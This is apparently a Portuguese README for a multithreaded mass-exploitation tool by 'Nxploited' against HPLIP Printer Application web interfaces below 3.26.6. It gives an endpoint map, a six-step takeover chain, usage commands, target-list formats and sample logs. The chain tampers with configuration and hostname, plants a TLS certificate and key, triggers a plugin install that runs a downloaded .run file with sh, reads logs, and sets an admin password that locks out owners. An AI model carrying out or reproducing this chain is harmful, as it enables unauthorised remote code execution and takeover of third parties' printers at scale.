HPLIP < 3.26.6 — Tomada de controle administrativo total via interface web PAPPL (sem autenticação). Relacionado a CVE-2026-91097 até CVE-2026-91106 (CVSS 9.3)
🔬 Entre no Telegram para as últimas pesquisas de vulnerabilidade e lançamentos de exploits
Ferramenta de exploração em massa direcionada ao Aplicativo de Impressora HPLIP (interface web baseada em PAPPL) em todas as versões do HPLIP anteriores à 3.26.6. A ferramenta explora o estado padrão não autenticado da interface web do PAPPL para executar uma cadeia completa de tomada de controle administrativo: adulteração de configuração, modificação de hostname, substituição de certificado TLS, instalação de plugin HP (dispara a execução via shell do arquivo .run no alvo), exfiltração de logs do sistema e bloqueio da senha de administrador.
A vulnerabilidade central é o Acesso Administrativo Não Autenticado do PAPPL — o Aplicativo de Impressora HPLIP é fornecido com nenhuma senha configurada por padrão, permitindo que qualquer atacante de rede execute todas as ações administrativas sem autenticação através da interface web (tipicamente na porta 8000).
Além disso, a cadeia de instalação de plugins aproveita fraquezas abordadas em:
| CVE | CWE | CVSS 4.0 | Relevância |
|---|---|---|---|
| CVE-2026-91097 | CWE-94 / CWE-787 | 7.0 | Path Traversal em plugin.spec — a instalação de plugin disparada por esta ferramenta passa pelo código vulnerável de pluginhandler.py |
| CVE-2026-91102 | CWE-78 / CWE-494 | 8.4 | Download Sem Verificação de Integridade — o arquivo .run do plugin é baixado via HTTP e executado com sh no alvo |
Boletim de Segurança da HP: HPSBPI04151
| Endpoint | Ação | Verificado |
|---|---|---|
/security | Definir senha de administrador (tomada de conta) | ✅ |
/config | Modificar nome DNS-SD, localização, organização, contato | ✅ |
/network | Alterar hostname do sistema | ✅ |
/tls-install-crt | Enviar certificado TLS arbitrário + chave privada | ✅ |
/plugin | Disparar download de plugin HP + aceitar licença + instalar (executa .run com sh) | ✅ |
/logfile.txt | Ler arquivo de log completo da aplicação (divulgação de informações) | ✅ |
Target Discovery
│
▼
Detect HPLIP Printer Application (Server header + version)
│
▼
Check Authentication Status (/security)
│
├── Password Set ──► Log as VULN (locked)
│
└── No Password (default) ──► Exploit Chain:
│
├── 1. Modify Configuration (/config)
│ dns_sd_name, location, organization, contact_name
│ Verified: marker reflected in response
│
├── 2. Change Hostname (/network)
│ Old hostname captured, new hostname set
│ Verified: new value reflected in response
│
├── 3. Upload TLS Certificate (/tls-install-crt)
│ Custom PEM certificate + private key
│ Multipart file upload
│
├── 4. Install HP Plugin (/plugin)
│ Step 1: POST action=install-plugin (downloads .run)
│ Step 2: POST action=license-accepted (executes with sh)
│ ⚠ CVE-2026-91097 + CVE-2026-91102
│
├── 5. Read Log File (/logfile.txt)
│ System paths, environment info, Snap paths
│
└── 6. Set Admin Password (/security)
Locks out further unauthenticated access
Completes full admin takeover
pip install requests
Python 3.8+ necessário. Nenhuma outra dependência.
python T.py targets.txt 50
| Argumento | Descrição | Padrão |
|---|---|---|
targets.txt | Arquivo contendo a lista de alvos (um por linha) | Solicitado |
50 | Número de threads concorrentes | 15 |
python T.py
A ferramenta solicitará o arquivo de lista de alvos e o número de threads.
192.168.1.100:8000
https://10.0.0.1:8000
http://printer.local:8000
192.168.1.100
printer.example.com
8000# são ignoradas| Arquivo | Conteúdo |
|---|---|
AdminS.txt | Tomada de controle administrativo — senha, versão do servidor, mapa completo de URLs do painel |
Nx_modify.txt | Alterações verificadas de configuração e hostname (valores antigos → novos) |
Nx_upload.txt | Confirmações de upload de certificado TLS |
Nx_plugin.txt | Resultados de instalação de plugin HP com status de execução via shell |
Nx_recon.txt | Divulgação de informações — tamanho do arquivo de log, caminhos de ambiente, versão |
AdminS.txthttp://192.168.1.100:8000 | v3.22.10 | password=Nx-zD_buovl6wko0 | server=HPLIP_Printer_Application/3.22.10-13 PAPPL/1.4.9 | panel=http://192.168.1.100:8000/ | security=http://192.168.1.100:8000/security | config=http://192.168.1.100:8000/config | ...
Nx_modify.txthttp://192.168.1.100:8000/config | v3.22.10 | type=CONFIG | verified=true | dns_sd_name: 'HPLIP Printer Application' -> 'HPLIP [marker]' | location: '' -> 'Nxploited-marker'
http://192.168.1.100:8000/network | v3.22.10 | type=HOSTNAME | verified=true | old=ORIGINAL-HOST.local | new=nx-abc123
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
██████ ██ ██ ██
██ ███ ██ ██ ██
██ ██████ ███
██ █████ ██ ██
██ ████ ██ ██
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
HPLIP Printer Application │ Admin Takeover + Full Control
Affected < 3.26.6 │ PAPPL Unauthenticated Access
CVE-2026-91097 │ Plugin Path Traversal
CVE-2026-91102 │ Plugin Download Without Integrity + Shell Exec
Exploited via Web: /security /config /network /plugin /tls-install-crt /logs
By: Nxploited ( Khaled Alenazi ) │ Telegram: @Kxploit
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
targets=4 threads=4
00:11:34 [CUPS ] http://192.168.1.100:8000 Server: HPLIP_Printer_Application/3.22.10-13
00:11:34 [VER ] http://192.168.1.100:8000 v3.22.10 < 3.26.6 AFFECTED
00:11:35 [PROBE ] http://192.168.1.100:8000 v3.22.10 | NO AUTH | exploiting...
00:11:36 [CFG ] http://192.168.1.100:8000 CONFIG MODIFIED | marker=abc12345
00:11:37 [NET ] http://192.168.1.100:8000 HOSTNAME 'OLD-HOST.local' -> 'nx-xyz789'
00:11:38 [CERT ] http://192.168.1.100:8000 TLS CERT UPLOADED | marker=abc12345
00:12:03 [PLG ] http://192.168.1.100:8000 PLUGIN | freshly_installed | shell_exec=True
00:12:05 [LOG ] http://192.168.1.100:8000 logfile.txt | 19083B | env=/var/snap/hplip-printer-app/
00:12:05 [ADMIN ] http://192.168.1.100:8000 PASSWORD SET | pw=Nx-zD_buovl6wko0
00:12:05 [HIT ] http://192.168.1.100:8000 v3.22.10 + CONFIG + HOSTNAME + CERT + PLUGIN + LOGS + ADMIN
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
DONE 4/4 █ HIT=4 █ VULN=0 █ SAFE=0 █ SKIP=0